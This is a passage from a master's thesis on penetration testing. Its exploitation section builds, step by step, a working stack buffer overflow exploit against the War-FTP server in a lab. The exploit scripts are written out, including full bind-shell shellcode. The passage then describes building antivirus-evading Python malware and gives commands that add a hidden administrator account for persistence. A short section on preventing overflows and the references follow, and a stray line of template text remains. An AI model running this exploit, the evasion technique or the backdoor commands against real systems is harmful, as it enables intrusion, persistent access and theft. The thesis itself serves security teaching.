return address is loaded into the EIP register to restore execution to main. The size of
function1’s local variables is determined when the application is compiled and fixed.
The amount of space “reserved” on the stack for these local variables is fixed, too. This
reservation is called a stack buffer. If we put more data in the stack buffer than it can hold,
we will cause the buffer to overflow. Then we may be able to overwrite the saved return
address, which is placed after the stack buffer, and take control of program execution.
4.2.2 FUZZING: STACK-BASED BUFFER OVERFLOW
In some cases, source code for programs is publicly available, so a researcher
looking for vulnerabilities need only be well versed in secure coding practices. In other
cases, we can use a popular method called fuzzing to send various inputs to a program. If
we can find input that will manipulate memory in a controllable way, we may be able to
exploit the program.
In the discovery phase, my port scanner found a FTP service running on port
21which is War-FTP installed on the target machine (Windows XP SP3). In this phase, I
aimed to exploit War-FTP ’s stack-based buffer overflow vulnerability in the Username
field of the FTP login.
67
The issue I exploited is particularly dangerous because an attacker does not need to
log in to the FTP server before launching an attack. Thus, I didn’t need to add any
legitimate users to the FTP server for this attack to work.
4.3 EXPLOITATION
4.3.1 ATTEMPTING A CRASH
Before trying to exploit War-FTP, I hooked it up to a debugger named Immunity
Debugger. It allowed me to see the internals of memory as I attempted to exploit War-FTP.
Because I didn’t have the source code to conduct a more successful exploit, I had to watch
the program in memory as I sent it attack strings in Immunity Debugger. From there, I was
68
able to figure out how to exploit its buffer overflow vulnerability and develop a working
exploit.
For the fuzzing attack, I sent successively arrays of 100 As instead of a username
in the
Username field of the FTP login. To do this, I wrote a simple Python program. When the
fuzzing program attempted to fuzz with a length of 1200, looking back at the War FTP
server in Immunity Debugger, it has crashed with 41414141 in EIP. It seemed that by
69
sending over a string of 1100 characters in the Username field, I could control execution
and the contents of some memory registers: an ideal situation for writing a stack-based
buffer overflow exploit.
Let’s take a look at the starter exploit written in Python I set up that caused the War
FTP program to crash.
#!/usr/bin/python
import socket
buffer = "A" * 1100
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.13',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
In the exploit above, I first import the socket Python library. Next, I create a string
called buffer, which contains 1,100 As, and set up a socket s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21)) to connect to the Windows XP
machine on port 21, where the War-FTP server is listening. Next, I accept and print out the
FTP server’s banner to the screen at print response. The exploit then sends over the
USER command with 1,100 As s.send('USER ' + buffer + '\r\n') for the
username in hopes of causing the FTP server to crash.
If the server responds and asks for the password, the exploit is ready to finish the
connection with the password, PASSWORD. However, if my exploit succeeds, it won’t
matter if the credentials are valid, because the program will crash before it finishes the
login process. Finally, I close the socket, and the exploit finishes.
70
My goal was to overwrite the saved return address with a string of As and cause the
program to crash. The War-FTP server sends over its welcome banner, prompts us for our
username, and then asks for a password.
71
After running exploit, I saw that War-FTP was paused due to an access violation
when attempting to execute an instruction at 41414141. A return address was overwritten
by my long string of As, so when the function returned, 41414141 was loaded into the
EIP register. The program attempted to execute the instructions at that memory location,
which was out of bounds and caused a crash.
4.3.2 LOCATING EIP
The next step was to know exactly which number of As in our string are overwriting
the return address. Luckily, I could use a useful pycommand for Immunity Debugger
named Mona to generate a unique cyclic pattern to find the right number of bytes for the
return address overwrite in only one iteration. To use Mona for this task, I entered !mona
pattern_create with length 1100 as an argument at the bottom of the Immunity Debugger
window.
pattern_create
72
The 1,100-character cyclic pattern is shown in the Figure below:
Next, I replaced the long string of As with the unique pattern and ran it again.
pattern_create
73
Looking back at Immunity Debugger, as shown in Figure 16, to see what value was
contained in EIP and to find out where in our attack string I overwrote the return address.
War-FTP has crashed again, but this time EIP contained four bytes of the generated
pattern: 32714131. I used Mona to determine where exactly in the 1,100-character cyclic
pattern the ASCII equivalent of 32714131 was.
74
Mona found instances of the cyclic pattern in memory. Part of the output is shown
below:
According to Mona, the return address overwrite was 485 bytes into the attack
string. The next step was to verify this:
#!/usr/bin/python
import socket
buffer = "A" * 485 + "B" * 4 + "C" * 611
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.13',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
In the above exploit, I create an attack string that contains 485 As, 4 Bs, and 611 Cs
as. With the new string in place, EIP contains 42424242 when the program crashes, I then
know I have found the correct four bytes for the return address. Checking EIP, as shown
in Figure 18.
75
Next, I needed to find someplace to redirect execution and exploit this buffer overflow
vulnerability.
4.3.3 HIJACKING EXECUTION
Because we don’t have the source code of War-FTP to review for potentially
interesting code, I used a more typical technique for exploit development. Instead of
redirecting execution to somewhere else in the program, I introduced my own instructions
and redirect execution to part of our attack string.
First, I needed to find out if part of our attack string is easily accessible at the time
of the crash by looking back at the output of Mona’s analysis on all registers and on
instances of the generated pattern in memory.
In addition to taking control of EIP, the registers ESP, EDI, and EBP also point to
part of the attack string. In other words, my attack string decides the contents of these
registers, and there’s nothing to stop me from replacing the part of the attack string with
useful instructions for the CPU to execute.
You can see that ESP is at memory address 00AFFD48, while EBP is slightly higher
in memory at address 00AFFDA0. EDI is at 00AFFE48. I could redirect execution to any
of these locations, but with the lower address farther up the stack, I had a little more space
for our instructions.
76
The stack is shown in the bottom right of the Immunity Debugger window. As shown in
Figure XX, you can notice that the line above ESP contains four Cs, and above that are
four Bs for the return address. This told me me that I needed to start the malicious
instructions for the CPU to execute four bytes into our Cs in the attack string (because ESP
is four bytes into the Cs); otherwise, the first four bytes of the shellcode would be missed.
From there, I could just put 00AFFD48 into the return address, replace our Cs with
shellcode, and I would have a complete exploit, right? Close, but not quite. Unfortunately,
if I just hardcoded the address 00AFFD48 into our return address, the exploit would not
work just fine for me but not in other cases - and I want edit to work as universally as
possible.
As you learned from the Memory Theory, the locations of registers like ESP can
change based on program factors such as the length of provided arguments or because the
stack is tied to a thread, which means the stack address can differ the next time you attack
the application. Lucky for me, jumping to a CPU register to execute its contents is denoted
77
by the assembly language instruction JMP ESP (or another register name, as needed). In
pre-ASLR operating systems, such as the Windows XP SP3 target, Windows DLLs were
loaded into the same place in memory every time. That means if we find a JMP ESP inside
an executable module on the Windows XP target, it should be in the same place on every
Windows XP SP3 English-language machine.
For that matter, JMP ESP was not my only option. As long as I ended up with
execution pointed to ESP, I could use an equivalent instruction to JMP ESP or even a series
of instructions. For example, CALL ESP would work, or PUSH ESP followed by RET,
which sends execution to the memory address in ESP.
I found all the occurrences of JMP ESP and the logical equivalents in the
executable modules for War-FTP with the command !mona jmp -r esp, as shown in
Figure 20.
78
I was presented with 84 possible JMP ESP (or equivalent) instructions. Some may
contain bad characters. As a rule of thumb, I went for relatively stable modules such as
MSVCRT.dll because very few changes have been made to this module in Windows patches
compared with other Windows modules. The JMP ESP instructions Mona found in
MSVCRT.dll are shown below.
I used the first one: the PUSH ESP followed by a RET at 0x77C35459. With this
information, I could set a breakpoint at the memory address 0x77C35459 to pause
execution when we reach our instructions to redirect execution to ESP and make sure
everything is working correctly before I replaced the Cs with instructions to be executed.
79
Next, I replaced the four Bs in the exploit string with the location of the redirection
to ESP.
#!/usr/bin/python
import socket
buffer = "A" * 485 + "\x59\x54\xc3\x77" + "C" * 4 + "D" * 607
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.13',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
With a breakpoint prepared, I placed the new return address at the right location in
my attack string and changed the 611 Cs to four Cs followed by 607 Ds to account for the
four bytes of the attack string before ESP. Once the attack string was in place, I ran the
exploit against War-FTP, and saw that it reached the breakpoint in Immunity Debugger.
80
After executing the PUSH ESP and RET instructions from Immunity Debugger, and,
as expected, execution is redirected to the beginning of our Ds (44 in hex).
81
4.3.4 GETTING A SHELL
To carry out a more interesting attack, I needed to put something useful in place of
the Ds from the previous section for the CPU to execute on my behalf. I used the Metasploit
tool Msfvenom that generate malicious executables to create raw shellcode to put in my
exploit program. I wanted to tell the hijacked CPU to open a bind shell on TCP port 4444
(or any other port) by using Msfvenom to generate the shellcode for a Metasploit payload.
To do this, I needed to tell Msfvenom the payload to use—in this case
windows/shell_bind_tcp, the inline Windows command shell. I also needed to
provide it with the maximum size we can have for the shellcode.
The current exploit string has 607 Ds, so I have 607 bytes for the shellcode. Finally,
I needed to tell Msfvenom which special characters to avoid when creating the payload. In
this case, I needed to avoid the null byte (\ x00), carriage return (\ x0d), line feed (\ x0a),
and @ (\ x40).
82
Msfvenom generated the shellcode in 368 bytes, leaving me plenty of room to
spare. Then I replaced the Ds in the exploit with the generated shellcode, as shown in
Appendix A.
When I tried running the exploit, something unexpected happened. Though I was
still able to hit the breakpoint and redirected execution to the shellcode, War-FTP crashed
before I received the bind shell on port 4444. Something in the shellcode was causing a
crash.
Msfvenom’s encoded shellcode needed to first decode itself before executing, and
as part of the decoding process, it needed to find its location in memory using a routine
called getPC. A common technique for finding the current location in memory includes
using an instruction called FSTENV, which writes a structure onto the stack, overwriting
what’s there—in my case part of the shellcode.
83
All I needed to do to fix this is move ESP away from the shellcode, so getPC has
room to work without corrupting our shellcode. This is what caused the crash in the
previous run.
I used the Metasm utility to turn a simple assembly instruction into shellcode that
we can drop into our exploit. I needed to move ESP away from our shellcode in memory.
I did this using the assembly ADD instruction. The syntax is ADD destination, amount.
Because the stack consumes lower memory addresses, it’s better to subtract 1,500 bytes
from ESP. The number of bytes should be large enough to avoid corruption; 1,500 bytes is
usually a safe choice.
Adding the resulting shellcode to the exploit right before the
windows/shell_bind_tcp shellcode, I had a fully working exploit as shown below.
#!/usr/bin/python
import socket
shellcode = ("\xda\xd4\xd9\x74\x24\xf4\xba\xa6\x39\x94\xcc\x5e\x2b\xc9"
+
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\xb2\xdb\x61\x30" +
"\x52\x92\x8a\xc9\xa2\xc5\x03\x2c\x93\xd7\x70\x24\x81\xe7" +
"\xf3\x68\x29\x83\x56\x99\xba\xe1\x7e\xae\x0b\x4f\x59\x81" +
"\x8c\x61\x65\x4d\x4e\xe3\x19\x8c\x82\xc3\x20\x5f\xd7\x02" +
"\x64\x82\x17\x56\x3d\xc8\x85\x47\x4a\x8c\x15\x69\x9c\x9a" +
"\x25\x11\x99\x5d\xd1\xab\xa0\x8d\x49\xa7\xeb\x35\xe2\xef" +
"\xcb\x44\x27\xec\x30\x0e\x4c\xc7\xc3\x91\x84\x19\x2b\xa0" +
"\xe8\xf6\x12\x0c\xe5\x07\x52\xab\x15\x72\xa8\xcf\xa8\x85" +
"\x6b\xad\x76\x03\x6e\x15\xfd\xb3\x4a\xa7\xd2\x22\x18\xab" +
"\x9f\x21\x46\xa8\x1e\xe5\xfc\xd4\xab\x08\xd3\x5c\xef\x2e" +
"\xf7\x05\xb4\x4f\xae\xe3\x1b\x6f\xb0\x4c\xc4\xd5\xba\x7f" +
"\x11\x6f\xe1\x17\xd6\x42\x1a\xe8\x70\xd4\x69\xda\xdf\x4e" +
"\xe6\x56\xa8\x48\xf1\x99\x83\x2d\x6d\x64\x2b\x4e\xa7\xa3" +
"\x7f\x1e\xdf\x02\xff\xf5\x1f\xaa\x2a\x59\x70\x04\x84\x1a" +
"\x20\xe4\x74\xf3\x2a\xeb\xab\xe3\x54\x21\xda\x23\x9b\x11" +
"\x8f\xc3\xde\xa5\x3e\x48\x56\x43\x2a\x60\x3e\xdb\xc2\x42" +
"\x65\xd4\x75\xbc\x4f\x48\x2e\x2a\xc7\x86\xe8\x55\xd8\x8c" +
"\x5b\xf9\x70\x47\x2f\x11\x45\x76\x30\x3c\xed\xf1\x09\xd7" +
84
"\x67\x6c\xd8\x49\x77\xa5\x8a\xea\xea\x22\x4a\x64\x17\xfd" +
"\x1d\x21\xe9\xf4\xcb\xdf\x50\xaf\xe9\x1d\x04\x88\xa9\xf9" +
"\xf5\x17\x30\x8f\x42\x3c\x22\x49\x4a\x78\x16\x05\x1d\xd6" +
"\xc0\xe3\xf7\x98\xba\xbd\xa4\x72\x2a\x3b\x87\x44\x2c\x44" +
"\xc2\x32\xd0\xf5\xbb\x02\xef\x3a\x2c\x83\x88\x26\xcc\x6c" +
"\x43\xe3\xfc\x26\xc9\x42\x95\xee\x98\xd6\xf8\x10\x77\x14" +
"\x05\x93\x7d\xe5\xf2\x8b\xf4\xe0\xbf\x0b\xe5\x98\xd0\xf9" +
"\x09\x0e\xd0\x2b")
buffer = "A" * 485 + "\x59\x54\xc3\x77" + "C" * 4 +
"\x81\xc4\x24\xfa\xff\xff" + shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.13',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
With ESP out of the way, and knowing that the shellcode would not be corrupted
in the process of being decoded or executed, running the exploit again, I used Netcat on
Kali Linux to connect to TCP port 4444 on the Windows target. Sure enough, I had a shell
on the Windows target, as shown by the Windows command prompt below.
85
4.3.5 PREVENTING BUFFER OVERFLOWS
The prevention of buffer overflows rests with the initial programmers. One should
use languages that don’t have these vulnerabilities, such as Java, Python, or Perl. However,
many thousands of programs (including War-FTP) and even operating systems are written
in C, and many have C and C++ functions that do not provide boundary checking as they
work with data. This subsequently allows more data to be copied from one variable to
another. For example, strcpy() allows more data to be copied to the destination than the
destination can actually support, so the data starts to overflow, as described earlier in the
chapter. Therefore, one of the most basic steps is simply not to use strcpy() in your code.
Instead, you should use a function such as strncpy(), which does limit the amount of
data being copied. Table 1 lists some of the functions with similar vulnerabilities to should
avoid, with possible alternatives.
You can now recognize some of the bad functions, but some programs still use
them. Compiler-based solutions can be of assistance when you use them with the original
source code. During compile, they slightly modify the program by adding code. They can
use a few different approaches. One style applies boundary checking code to every return
pointer. However, it might make the executable 100% bigger than the original. A program
called StackGuard takes another approach. StackGuard works by inserting an extra word
next to the return address called a canary. This canary word is cross-checked when the
function returns. If the canary value has changed, a stack smash has occurred. If this occurs,
StackGuard logs the event to a syslog server and terminates the program.
86
Tools such as libsafe actually help to track stack pointers and assist in prevention
of stack smashing. The libsafe tool from Bell Labs replaces dangerous functions with safer
versions in the libc library. This helps to track stack return pointers and prevents them from
being overwritten. If they are overwritten, libsafe terminates the program. libsafe definitely
helps with unknown stack problems in applications, but it might degrade your performance
slightly when you run the application.
Function Alternative
fgets Check buffer size first
fscanf Avoid using if possible
getopt Truncate data before passing it into the function
getpass Truncate data before passing it into the function
gets Fgets
getwd Getcwd
scanf Avoid using if possible
sprintf snprintf
sscanf Avoid using if possible
strcat strncat
strcpy Strncpy
streadd Avoid using if possible, or allocation at least four times the size of the destination
buffer is required
strecpy Avoid using if possible, or allocation at least four times the size of the destination
buffer is required
strncpy Check buffer size first
strtrns Avoid using if possible
syslog Truncate data before passing it into the function
vfscanf Avoid using if possible
vscanf Avoid using if possible
vsprintf Make sure that your buffer is as big as you say it is
vsscanf Avoid using if possible
87
4.4 POST-EXPLOITATION
On May 28, 2012, the Maher Center in Iran detected a complex and sophisticated
cyber-attack against its network (CERTCC, 2011). This attack proved so sophisticated that
43 out of 43 tested antivirus engines could not identify the code used in the attack as
malicious. Dubbed “Flame” after some ASCII strings included in the code, the malware
appeared to infect systems in Iran as a state-run cyber-espionage strategy (Zetter, 2012).
With compiled Lua scripts named Beetlejuice, Microbe, Frog, Snack, and Gator, the
malware beaconed via Bluetooth, covertly recorded audio, infected nearby machines, and
uploaded screenshots and data to remote command and control servers (Analysis Team,
2012).
Estimates gauge the malware as at least two years old. Kaspersky Lab was quick to
explain that Flame is “one of the most complex threats ever discovered. It’s big and
incredibly sophisticated” (Gostev, 2012). Yet how did antivirus engines fail to detect it for
at least 2 years? They failed to detect it because most antivirus engines still primarily use
signature-based detection as their main method of detection. While some vendors have
begun incorporating more complex methods such as heuristics or reputation scoring, these
are still novel in concept.
For this phase, I created a piece of malware intended to evade most notorious
antivirus engines and serve as a backdoor for future access to the victim machine. The
concept used is largely the work of Mark Baggett, who shared his method with followers
of the SANS Penetration Testing Blog almost 3 year ago.
88
Yet the method for bypassing antivirus programs is still functional at the time of writing
this thesis. Taking a nod from Flame, which used compiled Lua scripts, I implemented
Mark’s method and compiled Python code into a Windows executable in order to evade
antivirus programs.
4.4.1 EVADING ANTIVIRUS PROGRAM
In order to create the malware, I needed some malicious code. The Metasploit
framework contains a repository of malicious payloads. I used use Metasploit to generate
some C-style shellcode for a malicious payload. I used a simple Windows bindshell that
bound the cmd.exe process to a TCP port of my choosing: this allows an attacker to
remotely connect to a machine and issue commands that interact with the cmd.exe process.
Next, I wrote a script that executed the C-style shellcode. Python allows for
importing foreign function libraries. We can import the library ctypes, which allowed me
to interact with data types for the C programming language. After defining a variable to
store our shellcode, I simply casted it as a C-function and executed it.
89
While the script at this point was able to execute on a Windows machine with a
Python interpreter installed, I improved it by compiling the software with Pyinstaller.
Pyinstaller converted my Python script into a stand-alone executable that can be distributed
to systems that do not have a Python interpreter.
90
It is best to also reiterate information in your literature review to help substantiate
the findings of your research.
This template is best used for directly typing in your content.
4.4.2 VERIFYING EVASION
I used the service virustotal.com to scan the executable. VirusTotal provides a Web
page interface to upload suspect files and scan them against 56 different antivirus engines.
While uploading the malicious file using the Web page interface would tell me what I
wanted to know, I used this opportunity to write a quick Python script to automate the
process shown in Appendix B.
91
Next, I tested a known malicious executable to verify whether an antivirus program
can successfully detect it. I built a Windows TCP bindshell that binds TCP port 4444. Using
the default Metasploit encoder, I encoded it into a standard Windows executable. Noticing
the results, you can see that 15 out of 56 antivirus engines detected the file as malicious.
This file could not obviously evade a decent antivirus program:
However, running the virustotal.py script against the Python script compiled
executable, I could upload it to VirusTotal and saw that 56 out of 56 antivirus engines
92
failed to detect it as malicious. Consequently, I successfully achieved complete antivirus
avoidance with a little bit of Python:
4.4.3 PERSISTENCE
Rather than re-exploiting the same War-FTP buffer overflown vulnerability, it
would be ideal if I had a way to regain access in the future. Persistence methods can be as
simple as adding a user to a system or as advanced as kernel-level rootkit that hides itself
even from the Windows API making it virtually undetectable. Perhaps the simplest way to
gain persistence is to add a new user. Being able to log in to the system directly via SSH,
RDP, and so on makes it easy to access a system in the future.
Getting back to the shell spawned during the exploitation phase, I created a new
user using the command use net user Tim UnderAttack187 /add and then added
the new user to the Administrators group for sufficient privileges net localgroup
Administrators Tim /add:
93
From this point, I could easily upload the malicious payload to the target system
and run it if I wanted to gain access using netcat or SSH.
94
CHAPTER 5: CONCLUSION
The success of any penetration test depends on the use of security tools. In the very
limited and yet representative scenario that was simulated for use with my testing, the
implemented tools can be considered a more appropriate choice of a successful penetration
testing when the stability of the system under test is a major concern. One of the goal set
in this thesis was to examine a different approach that consists of the use of custom-made
security tools producing the same results as the use of automated tools for penetration
testing automation. The design of the tools was based on its versatility, usability and
effectiveness. With all the tools in hand, each phase of the methodology were carried out
in a systematic and methodological manner. The selected tools were divided into three
categories. The Intelligence gathering phase covered the tools, which assisted in network
profiling, network scanning and services fingerprinting. The Scanning and Vulnerability
Assessment phase covered the tool, which allowed the exploration of system
vulnerabilities. The Exploitation and Post-Exploitation phases covered tool, which allowed
exploiting identified vulnerabilities.
The next goal of this thesis was the test of the implemented proof of concept
showing that it is possible to execute a series on non-aggressive operations, and with the
support of the penetration tester valuable information can be extracted from the system.
This information can be used to detect weaknesses, anomalies, and misconfiguration of the
system. Future extensions applied to the tools can easily include these functionalities. Even
though the exploitation phase required some level of aggressiveness to perform the buffer
95
overflow attack, in situation where integrity and stability are of great importance, it is
preferable to provide the penetration tester with additional information.
The contributions described in the project includes:
• Not all the company or firm can afford to purchase the commercial tools to perform
penetration test. Specially, for medium or small organization, there will not always
be a separate budget allocated to purchase or hire a third-party professional to
perform penetration tests. They might decide to have their own Security engineer
or System/Network administration conduct an internal penetration testing. In such
a situation, this thesis work can provide baseline information with some of the
manual tools. Any pentester can easily replicate the same or a similar penetration
environment. However, depending upon the needs, the scope of the test can be
broadened. For instance, this thesis focused on the internal network and system,
but if pentesters wanted to test perimeter device or application, they can easily
adjust test and still use the same tools.
• At present, mostly network/system administrator defend their organization’s
network or system using firewalls to block unidentified or malicious traffic,
sensors to detect and respond to attacks, anti-virus and anti-malware programs to
alert users about malicious software. The goal is to defend the system or network
from malicious users and intrusion attempts. All of those measures are protective
and preventive in nature, which can either succeed or fail on the time they are
96
released and the current evolutions in technology. However, security should not
only include prevention and protection but also prediction and response. This
thesis also presented a prediction and response model where phases like
intelligence gathering and Scanning and Vulnerability assessment can be used to
predict the network or system while phases like Exploitation, Post-exploitation and
Reporting for response required to countermeasure the threats and loopholes. After
a certain time, certain vulnerability or attack becomes obsolete, but the knowledge
on the software responded to an attack of that extent, can help in identifying similar
behaviors in the future.
In conclusion, custom-tools, if properly designed and utilized, can prove their
usefulness for understanding the weaknesses of the network or systems and how they might
be exploited. Penetration testing is not an alternative to other security measures. In fact, it
should be used to complement the Defense in Depth principle. In today’s world of
information security, where threats and vulnerabilities are changing and evolving,
penetration testing tools and methods used to combat against such threats and
vulnerabilities should also change and evolve along with technological advancement.
97
REFERENCES
[1] Jason Andress and Ryan Linn. Coding for Penetration Testers: building better
tools. Syngress, ISBN 978-1-59749-729-9, 2012.
[2] David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni. Metasploit:
The Penetration Tester’s Guide. No Starch Press, ISBN 978-1-59327-288-3,
2011.
[3] TJ O’Connor. Violent Python: A Cookbook for Hackers, Forensic Analysts,
Penetration Testers and Security Engineers. Syngress, ISBN1597499579, 978-
1597499576, 2012.
[4] Jeremy Faircloth. Penetration Tester’s Open Source Toolkit, Third Edition.
Syngress, ISBN 1597496278, 978-1597496278, 2012.
[5] Nishant S. (2012). Security Assessment via Penetration Testing: A Network and
System Administrator’s Approach. Master’s thesis, University of Oslo,
Department of Informatics.
https://www.duo.uio.no/bitstream/handle/10852/34904/Shrestha-
masterthesis.pdf
[6] Lee Allen. Advanced Penetration Testing for Highly-Secured Environments:
The Ultimate Security Guide. Packt Publishing, ISBN 1849517746, 978
1849517744, 2012.
[7] David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni. Metasploit:
The Penetration Tester’s Guide. No Starch Press, ISBN 978-1-59327-288-3,
2011.
[8] K. Xynos, I. Sutherlan, H. Read, E. Everitt, and J C A. Blyth. “Penetration testing
and vulnerability assessments: A professional approach”. In Proceedings of the
1st International Cyber Resilience Conference. Edith Cown University, Perth,
Western Australia, SECAU - Security Research Centre, 2010. [Accessed on May
2017]
[9] B. Skaggs, B. Blackburn, G. Manes, and S. Shenoi.” network vulnerability
analysis”. In Proc. MWSCAS-2002 Circuits and Systems The 2002 45th Midwest
Symp, volume 3, 2002.
98
[10] Kenneth R. van Wyk.” adapting penetration testing for software
development purposes”.
https://buildsecurityin.us-cert.gov/bsi/articles/best-practices/penetration/655-
BSI.html, 8 2007 [Accessed on March 2017].
[11] R. Budiarto, R. Sureswaran, A. Samsudin, and S. Noor.” development of
penetration testing model for increasing network security”. In Proc. Int
Information and Communication Technologies: From Theory to Applications
Conf, pages 563–564,2004.
[12] Baggett, M. (2011). Tips for evading anti-virus during pen testing. SANS
Pentest Blog. Retrieved from
< http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-
during-pen-testing>, October 13.
[13] Zetter, K. (2012). “Flame” spyware infiltrating Iranian computers. CNN.com.
Retrieved from
< http://www.cnn.com/2012/05/29/tech/web/iran-spyware-
flame/index.html>, May 30.
[14] Vaskovich, F. (1997). The Art of Port Scanning. Phrack Magazine, September
1. < http://www.phrack.org/issues.html?issue=51-id=11#article > Retrieved
06.11.2017
[15] Maynor, David, K. K. Mookhey, Jacopo Cervini, Fairuzan Roslan, and
Kevin Beaver. "Metasploit Toolkit for Penetration Testing Exploit
Developement." (2007): N. pag. www.syngress.com. SYNGRESS. Web. 3
Jun. 2017.
[16] Giacobbi, Giovanni. "What Is Netcat?" The GNU Netcat. N.p., 11 Jan. 2004.
Web. 29 May 2017.
[17] Midian, Paul. "Perspectives on Penetration Testing — Black Box vs. White
Box." Network Security Nov. 2002: 10. Business Source Complete. Web. 9 May
2017.
[18] Geer, D., and J. Harthorne. "Penetration Testing: A Duet." Proceedings of The
18Th Annual Computer Security Applications Conference, 2002 (2002): 185.
Publisher Provided Full Text Searching File. Web. 9 May 2017.
99
[19] Sutton, M., Greene, A., & Amini, P. (2007). Fuzzing: brute force vulnerability
discovery. Addison-Wesley Professional.
[20] Veen, V. van der, & Dutt-Sharma, N. (2012). Memory errors: the past, the
present, and the future. In15th international symposium, research in attacks
intrusions, and defenses (pp. 86—-106). Amsterdam, The Netherlands:
Springer.
[21] Daniel Weber. A Taxonomy of Computer Intrusions. Master’s thesis,
Massachusetts Institute of Technology, Cambridge, MA, 02139, 1998.
[22] M. Castro, M. Costa, and T. Harris. Securing software by enforcing dataflow
integrity. In Proceedings of the 7th Usenix Symposium on Operating Systems
Design and Implementation, November 2006.
[23] C. Cowan, P. Wagle, C. Pu, S. Beattie, and J. Walpole. Buffer overflows: Attacks
and defenses for the vulnerability of the decade. In Proceedings of the
DARPA Information Survivability Conference and Exposition, 2000.
[24] Georgia W. Penetration Testing: A Hands-On Introduction to Hacking. No
Starch Press, ISBN: 1-59327-564-1, 978-1-59327-564-8, 2014.
[25] Fabio V. (2013). Design and implementation of a non-aggressive automated
penetration testing tool. Master’s thesis, KTH Royal Institute of Technology,
School of Information and Communication Technology
100
Appendix A
Final Buffer Overflow Exploit
101
102
Appendix B
EVASION VERIFICATION SCRIPT
103
104